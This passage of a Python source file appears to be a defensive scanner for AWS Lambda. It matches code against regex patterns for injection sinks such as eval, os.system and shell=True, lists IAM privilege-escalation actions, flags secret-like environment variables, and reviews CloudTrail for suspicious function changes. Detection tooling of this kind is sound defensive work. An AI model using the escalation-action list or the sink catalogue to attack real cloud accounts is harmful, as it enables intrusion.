{"pattern": r"\beval\s*\(", "sink": "eval()", "severity": "critical", "cwe": "CWE-95"},
{"pattern": r"\bexec\s*\(", "sink": "exec()", "severity": "critical", "cwe": "CWE-95"},
{"pattern": r"\bos\.system\s*\(", "sink": "os.system()", "severity": "critical", "cwe": "CWE-78"},
{"pattern": r"\bos\.popen\s*\(", "sink": "os.popen()", "severity": "critical", "cwe": "CWE-78"},
{"pattern": r"\bsubprocess\.call\s*\(.*shell\s*=\s*True", "sink": "subprocess.call(shell=True)", "severity": "critical", "cwe": "CWE-78"},
{"pattern": r"\bsubprocess\.run\s*\(.*shell\s*=\s*True", "sink": "subprocess.run(shell=True)", "severity": "critical", "cwe": "CWE-78"},
{"pattern": r"\bsubprocess\.Popen\s*\(.*shell\s*=\s*True", "sink": "subprocess.Popen(shell=True)", "severity": "critical", "cwe": "CWE-78"},
{"pattern": r"\bpickle\.loads\s*\(", "sink": "pickle.loads()", "severity": "high", "cwe": "CWE-502"},
{"pattern": r"\byaml\.load\s*\((?!.*Loader\s*=\s*yaml\.SafeLoader)", "sink": "yaml.load() without SafeLoader", "severity": "high", "cwe": "CWE-502"},
{"pattern": r"\bjinja2\.Template\s*\(.*event", "sink": "jinja2.Template() with event data", "severity": "high", "cwe": "CWE-1336"},
{"pattern": r"\b__import__\s*\(", "sink": "__import__()", "severity": "high", "cwe": "CWE-95"},
{"pattern": r"f['\"].*\{.*event.*\}.*['\"].*\.execute\(", "sink": "SQL via f-string with event data", "severity": "critical", "cwe": "CWE-89"},
{"pattern": r"['\"].*%s.*['\"].*%.*event", "sink": "SQL via string formatting with event data", "severity": "critical", "cwe": "CWE-89"},
],
"nodejs": [
{"pattern": r"\beval\s*\(", "sink": "eval()", "severity": "critical", "cwe": "CWE-95"},
{"pattern": r"\bnew\s+Function\s*\(", "sink": "new Function()", "severity": "critical", "cwe": "CWE-95"},
{"pattern": r"\bchild_process\.exec\s*\(", "sink": "child_process.exec()", "severity": "critical", "cwe": "CWE-78"},
{"pattern": r"\bchild_process\.execSync\s*\(", "sink": "child_process.execSync()", "severity": "critical", "cwe": "CWE-78"},
{"pattern": r"\bexecSync\s*\(", "sink": "execSync()", "severity": "critical", "cwe": "CWE-78"},
{"pattern": r"\bexec\s*\((?!ute)", "sink": "exec()", "severity": "high", "cwe": "CWE-78"},
{"pattern": r"\bvm\.runInNewContext\s*\(", "sink": "vm.runInNewContext()", "severity": "critical", "cwe": "CWE-95"},
{"pattern": r"\bvm\.runInThisContext\s*\(", "sink": "vm.runInThisContext()", "severity": "critical", "cwe": "CWE-95"},
{"pattern": r"\brequire\s*\(\s*['\"]child_process['\"]\s*\)", "sink": "require('child_process')", "severity": "medium", "cwe": "CWE-78"},
{"pattern": r"`.*\$\{.*event.*\}`.*exec", "sink": "Template literal command injection", "severity": "critical", "cwe": "CWE-78"},
],
}
EVENT_DATA_ACCESSORS = [
r"event\s*\[",
r"event\s*\.",
r"event\.get\s*\(",
r"event\[.Records.\]",
r"event\.body",
r"event\.headers",
r"event\.queryStringParameters",
r"event\.pathParameters",
r"event\.requestContext",
]
def detect_runtime_family(runtime):
"""Map Lambda runtime to language family."""
if not runtime:
return "unknown"
runtime_lower = runtime.lower()
if "python" in runtime_lower:
return "python"
if "node" in runtime_lower:
return "nodejs"
if "java" in runtime_lower:
return "java"
if "go" in runtime_lower:
return "go"
if "ruby" in runtime_lower:
return "ruby"
if "dotnet" in runtime_lower:
return "dotnet"
return "unknown"
def enumerate_functions(lambda_client):
"""Enumerate all Lambda functions with their configurations."""
functions = []
paginator = lambda_client.get_paginator("list_functions")
for page in paginator.paginate():
for func in page["Functions"]:
func_info = {
"function_name": func["FunctionName"],
"function_arn": func["FunctionArn"],
"runtime": func.get("Runtime", "container"),
"runtime_family": detect_runtime_family(func.get("Runtime")),
"handler": func.get("Handler"),
"role": func["Role"],
"memory_size": func.get("MemorySize"),
"timeout": func.get("Timeout"),
"last_modified": func.get("LastModified"),
"layers": [l["Arn"] for l in func.get("Layers", [])],
"environment_variables": list(func.get("Environment", {}).get("Variables", {}).keys()),
"has_function_url": False,
"has_secrets_in_env": False,
}
# Check for secrets in environment variable names
secret_patterns = ["KEY", "SECRET", "PASSWORD", "TOKEN", "CREDENTIAL", "API_KEY", "PRIVATE"]
for var_name in func_info["environment_variables"]:
if any(pat in var_name.upper() for pat in secret_patterns):
func_info["has_secrets_in_env"] = True
break
# Check for function URL
try:
url_config = lambda_client.get_function_url_config(FunctionName=func["FunctionName"])
func_info["has_function_url"] = True
func_info["function_url_auth"] = url_config.get("AuthType", "UNKNOWN")
except ClientError:
pass
functions.append(func_info)
logger.info("Enumerated %d Lambda functions", len(functions))
return functions
def get_event_source_mappings(lambda_client):
"""Get all event source mappings to identify injection entry points."""
mappings = []
paginator = lambda_client.get_paginator("list_event_source_mappings")
for page in paginator.paginate():
for mapping in page["EventSourceMappings"]:
source_arn = mapping.get("EventSourceArn", "")
source_type = "unknown"
if ":sqs:" in source_arn:
source_type = "SQS"
elif ":dynamodb:" in source_arn:
source_type = "DynamoDB Stream"
elif ":kinesis:" in source_arn:
source_type = "Kinesis Stream"
elif ":kafka" in source_arn:
source_type = "Kafka"
elif ":mq:" in source_arn:
source_type = "MQ"
mappings.append({
"function_arn": mapping.get("FunctionArn"),
"event_source_arn": source_arn,
"source_type": source_type,
"state": mapping.get("State"),
"batch_size": mapping.get("BatchSize"),
})
logger.info("Found %d event source mappings", len(mappings))
return mappings
def download_and_scan_function(lambda_client, function_name, runtime_family, work_dir):
"""Download function code and scan for injection patterns."""
findings = []
try:
response = lambda_client.get_function(FunctionName=function_name)
code_location = response["Code"]["Location"]
import urllib.request
zip_path = os.path.join(work_dir, f"{function_name}.zip")
req = urllib.request.Request(code_location)
with urllib.request.urlopen(req, timeout=60) as resp, open(zip_path, "wb") as out:
out.write(resp.read())
extract_dir = os.path.join(work_dir, function_name)
os.makedirs(extract_dir, exist_ok=True)
with zipfile.ZipFile(zip_path, "r") as zf:
zf.extractall(extract_dir)
# Determine file extensions to scan
extensions = {
"python": [".py"],
"nodejs": [".js", ".mjs", ".ts"],
"java": [".java"],
"go": [".go"],
"ruby": [".rb"],
}
target_exts = extensions.get(runtime_family, [".py", ".js"])
patterns = INJECTION_PATTERNS.get(runtime_family, [])
for root, dirs, files in os.walk(extract_dir):
# Skip node_modules and vendor directories
dirs[:] = [d for d in dirs if d not in ("node_modules", "vendor", "__pycache__", ".git")]
for filename in files:
if not any(filename.endswith(ext) for ext in target_exts):
continue
filepath = os.path.join(root, filename)
relative_path = os.path.relpath(filepath, extract_dir)
try:
with open(filepath, "r", encoding="utf-8", errors="ignore") as f:
lines = f.readlines()
except Exception:
continue
for line_num, line in enumerate(lines, 1):
for pattern_info in patterns:
if re.search(pattern_info["pattern"], line):
# Check if event data flows into this sink
context_start = max(0, line_num - 10)
context_lines = lines[context_start:line_num]
context_text = "".join(context_lines)
event_data_involved = any(
re.search(accessor, context_text)
for accessor in EVENT_DATA_ACCESSORS
)
findings.append({
"function_name": function_name,
"file": relative_path,
"line": line_num,
"code": line.strip()[:200],
"sink": pattern_info["sink"],
"severity": pattern_info["severity"],
"cwe": pattern_info["cwe"],
"event_data_flow": event_data_involved,
"confidence": "high" if event_data_involved else "medium",
})
except ClientError as e:
logger.warning("Cannot download %s: %s", function_name, e)
except Exception as e:
logger.warning("Error scanning %s: %s", function_name, e)
return findings
def audit_layers(lambda_client, functions):
"""Audit Lambda layers for security issues."""
findings = []
layer_accounts = {}
account_id = None
for func in functions:
for layer_arn in func.get("layers", []):
# Extract account ID from layer ARN
parts = layer_arn.split(":")
if len(parts) >= 5:
layer_account = parts[4]
if account_id is None:
# Get our own account ID from function ARN
func_parts = func["function_arn"].split(":")
if len(func_parts) >= 5:
account_id = func_parts[4]
if layer_account != account_id and account_id:
findings.append({
"type": "external_layer",
"function_name": func["function_name"],
"layer_arn": layer_arn,
"layer_account": layer_account,
"severity": "high",
"description": f"Function uses layer from external account {layer_account}",
})
layer_accounts.setdefault(layer_arn, []).append(func["function_name"])
# Check for layers used by many functions (high-impact if compromised)
for layer_arn, func_names in layer_accounts.items():
if len(func_names) >= 5:
findings.append({
"type": "high_impact_layer",
"layer_arn": layer_arn,
"affected_functions": func_names,
"severity": "medium",
"description": f"Layer is shared across {len(func_names)} functions - compromise would be high impact",
})
return findings
def detect_privilege_escalation_paths(iam_client, functions):
"""Identify Lambda functions with overprivileged execution roles."""
findings = []
checked_roles = {}
dangerous_actions = [
"iam:PassRole", "iam:CreateUser", "iam:CreateRole", "iam:AttachRolePolicy",
"iam:AttachUserPolicy", "iam:PutRolePolicy", "iam:PutUserPolicy",
"iam:CreateAccessKey", "iam:UpdateAssumeRolePolicy",
"lambda:UpdateFunctionCode", "lambda:UpdateFunctionConfiguration",
"lambda:CreateFunction", "lambda:InvokeFunction",
"sts:AssumeRole",
]
for func in functions:
role_arn = func["role"]
role_name = role_arn.split("/")[-1]
if role_name in checked_roles:
role_findings = checked_roles[role_name]
else:
role_findings = {"dangerous_permissions": [], "has_wildcard_resource": False, "has_admin": False}
try:
# Check attached policies
attached = iam_client.list_attached_role_policies(RoleName=role_name)
for policy in attached["AttachedPolicies"]:
if policy["PolicyName"] in ("AdministratorAccess", "PowerUserAccess"):
role_findings["has_admin"] = True
try:
policy_info = iam_client.get_policy(PolicyArn=policy["PolicyArn"])
version_id = policy_info["Policy"]["DefaultVersionId"]
policy_doc = iam_client.get_policy_version(
PolicyArn=policy["PolicyArn"], VersionId=version_id
)
for stmt in policy_doc["PolicyVersion"]["Document"].get("Statement", []):
if stmt.get("Effect") != "Allow":
continue
actions = stmt.get("Action", [])
if isinstance(actions, str):
actions = [actions]
resources = stmt.get("Resource", [])
if isinstance(resources, str):
resources = [resources]
if "*" in actions:
role_findings["has_admin"] = True
if "*" in resources:
role_findings["has_wildcard_resource"] = True
for action in actions:
if action in dangerous_actions or action == "*":
role_findings["dangerous_permissions"].append(action)
except ClientError:
continue
# Check inline policies
inline = iam_client.list_role_policies(RoleName=role_name)
for policy_name in inline["PolicyNames"]:
try:
policy_doc = iam_client.get_role_policy(
RoleName=role_name, PolicyName=policy_name
)
for stmt in policy_doc["PolicyDocument"].get("Statement", []):
if stmt.get("Effect") != "Allow":
continue
actions = stmt.get("Action", [])
if isinstance(actions, str):
actions = [actions]
for action in actions:
if action in dangerous_actions or action == "*":
role_findings["dangerous_permissions"].append(action)
except ClientError:
continue
except ClientError as e:
logger.warning("Cannot audit role %s: %s", role_name, e)
checked_roles[role_name] = role_findings
if role_findings["has_admin"]:
findings.append({
"type": "admin_execution_role",
"function_name": func["function_name"],
"role": role_name,
"severity": "critical",
"description": "Function has administrative execution role - any code modification grants full account access",
})
elif role_findings["dangerous_permissions"]:
findings.append({
"type": "dangerous_permissions",
"function_name": func["function_name"],
"role": role_name,
"permissions": list(set(role_findings["dangerous_permissions"])),
"severity": "high",
"description": f"Execution role has dangerous permissions: {', '.join(set(role_findings['dangerous_permissions']))}",
})
return findings
def check_cloudtrail_for_modifications(cloudtrail_client, days_back=7):
"""Search CloudTrail for suspicious Lambda modifications."""
findings = []
end_time = datetime.now(timezone.utc)
start_time = end_time - timedelta(days=days_back)
suspicious_events = [
"UpdateFunctionCode20150331v2",
"UpdateFunctionConfiguration20150331v2",
"PublishLayerVersion20181031",
"AddLayerVersionPermission20181031",
"CreateFunction20150331",
]
for event_name in suspicious_events:
try:
response = cloudtrail_client.lookup_events(
LookupAttributes=[
{"AttributeKey": "EventName", "AttributeValue": event_name}
],
StartTime=start_time,
EndTime=end_time,
MaxResults=50,
)
for event in response.get("Events", []):
ct_event = json.loads(event.get("CloudTrailEvent", "{}"))
req_params = ct_event.get("requestParameters", {})
finding = {
"event_name": event_name,
"time": event["EventTime"].isoformat(),
"user": event.get("Username"),
"source_ip": ct_event.get("sourceIPAddress"),
"user_agent": ct_event.get("userAgent", "")[:100],
"function_name": req_params.get("functionName"),
"suspicious": False,
"indicators": [],
}
# Flag suspicious patterns
user_agent = ct_event.get("userAgent", "")
if "console.amazonaws.com" not in user_agent and "cloudformation" not in user_agent.lower():
if "UpdateFunctionCode" in event_name:
finding["suspicious"] = True
finding["indicators"].append("Function code updated outside console/CloudFormation")
# Check for role changes
if "role" in req_params and "UpdateFunctionConfiguration" in event_name:
finding["suspicious"] = True
finding["indicators"].append(f"Execution role changed to: {req_params['role']}")
# Check for layer additions
if "layers" in req_params and "UpdateFunctionConfiguration" in event_name:
finding["suspicious"] = True
finding["indicators"].append(f"Layers modified: {req_params['layers']}")
# Off-hours modification
event_hour = event["EventTime"].hour
if event_hour < 6 or event_hour > 22:
finding["indicators"].append(f"Modification at unusual hour: {event_hour}:00 UTC")
findings.append(finding)
except ClientError as e:
logger.warning("CloudTrail query failed for %s: %s", event_name, e)
return findings
def check_function_url_security(lambda_client, functions):
"""Check Lambda function URLs for insecure authentication."""
findings = []
for func in functions:
if func.get("has_function_url") and func.get("function_url_auth") == "NONE":
findings.append({
"type": "unauthenticated_function_url",
"function_name": func["function_name"],
"severity": "high",
"description": "Function URL has AuthType=NONE - publicly accessible without authentication",
})
return findings
def generate_report(functions, event_sources, injection_findings, layer_findings,
escalation_findings, cloudtrail_findings, url_findings):
"""Generate comprehensive serverless injection detection report."""
all_findings = []
for f in injection_findings:
f["category"] = "code_injection"
all_findings.append(f)
for f in layer_findings:
f["category"] = "layer_security"
all_findings.append(f)
for f in escalation_findings:
f["category"] = "privilege_escalation"
all_findings.append(f)
for f in cloudtrail_findings:
if f.get("suspicious"):
f["category"] = "suspicious_modification"
f["severity"] = "high"
all_findings.append(f)
for f in url_findings:
f["category"] = "function_url"
all_findings.append(f)
critical = [f for f in all_findings if f.get("severity") == "critical"]
high = [f for f in all_findings if f.get("severity") == "high"]
report = {
"report_type": "Serverless Function Injection Assessment",
"generated_at": datetime.now(timezone.utc).isoformat(),
"summary": {
"functions_analyzed": len(functions),
"event_source_mappings": len(event_sources),
"total_findings": len(all_findings),
"critical_findings": len(critical),
"high_findings": len(high),
"injection_sinks_found": len(injection_findings),
"layer_issues": len(layer_findings),
"escalation_paths": len(escalation_findings),
"suspicious_modifications": len([f for f in cloudtrail_findings if f.get("suspicious")]),
},
"findings": all_findings,
"functions": functions,
"event_source_mappings": event_sources,
"cloudtrail_events": cloudtrail_findings,
}
return report
def main():
parser = argparse.ArgumentParser(description="Serverless Function Injection Detection Agent")
parser.add_argument("--region", default="us-east-1", help="AWS region")
parser.add_argument("--functions", nargs="+", help="Specific function names to scan (default: all)")
parser.add_argument("--scan-code", action="store_true", help="Download and scan function code for injection sinks")
parser.add_argument("--cloudtrail-days", type=int, default=7, help="Days of CloudTrail history to search")
parser.add_argument("--output", default="serverless_injection_report.json", help="Output report file")
args = parser.parse_args()
session = boto3.Session(region_name=args.region)
lambda_client = session.client("lambda")
iam_client = session.client("iam")
cloudtrail_client = session.client("cloudtrail")
logger.info("Starting serverless function injection detection in %s", args.region)
# Step 1: Enumerate functions
all_functions = enumerate_functions(lambda_client)
if args.functions:
all_functions = [f for f in all_functions if f["function_name"] in args.functions]
# Step 2: Get event source mappings
event_sources = get_event_source_mappings(lambda_client)
# Step 3: Scan code for injection patterns
injection_findings = []
if args.scan_code:
work_dir = tempfile.mkdtemp(prefix="lambda_scan_")
try:
for func in all_functions:
if func["runtime_family"] in INJECTION_PATTERNS:
logger.info("Scanning %s (%s)", func["function_name"], func["runtime"])
findings = download_and_scan_function(
lambda_client, func["function_name"],
func["runtime_family"], work_dir
)
injection_findings.extend(findings)
finally:
shutil.rmtree(work_dir, ignore_errors=True)
# Step 4: Audit layers
layer_findings = audit_layers(lambda_client, all_functions)
# Step 5: Detect privilege escalation paths
escalation_findings = detect_privilege_escalation_paths(iam_client, all_functions)
# Step 6: Check CloudTrail for suspicious modifications
cloudtrail_findings = check_cloudtrail_for_modifications(cloudtrail_client, args.cloudtrail_days)
# Step 7: Check function URL security
url_findings = check_function_url_security(lambda_client, all_functions)
# Generate report
report = generate_report(
all_functions, event_sources, injection_findings, layer_findings,
escalation_findings, cloudtrail_findings, url_findings
)
with open(args.output, "w") as f:
json.dump(report, f, indent=2, default=str)
logger.info("Report saved to %s", args.output)
summary = report["summary"]
logger.info(
"Assessment complete: %d functions, %d findings (%d critical, %d high)",
summary["functions_analyzed"],
summary["total_findings"],
summary["critical_findings"],
summary["high_findings"],
)
if summary["critical_findings"] > 0:
logger.warning("CRITICAL FINDINGS DETECTED:")
for f in report["findings"]:
if f.get("severity") == "critical":
logger.warning(" [%s] %s: %s", f.get("category", ""), f.get("function_name", ""), f.get("sink", f.get("description", "")))
return 0 if summary["critical_findings"] == 0 else 1
if __name__ == "__main__":
sys.exit(main())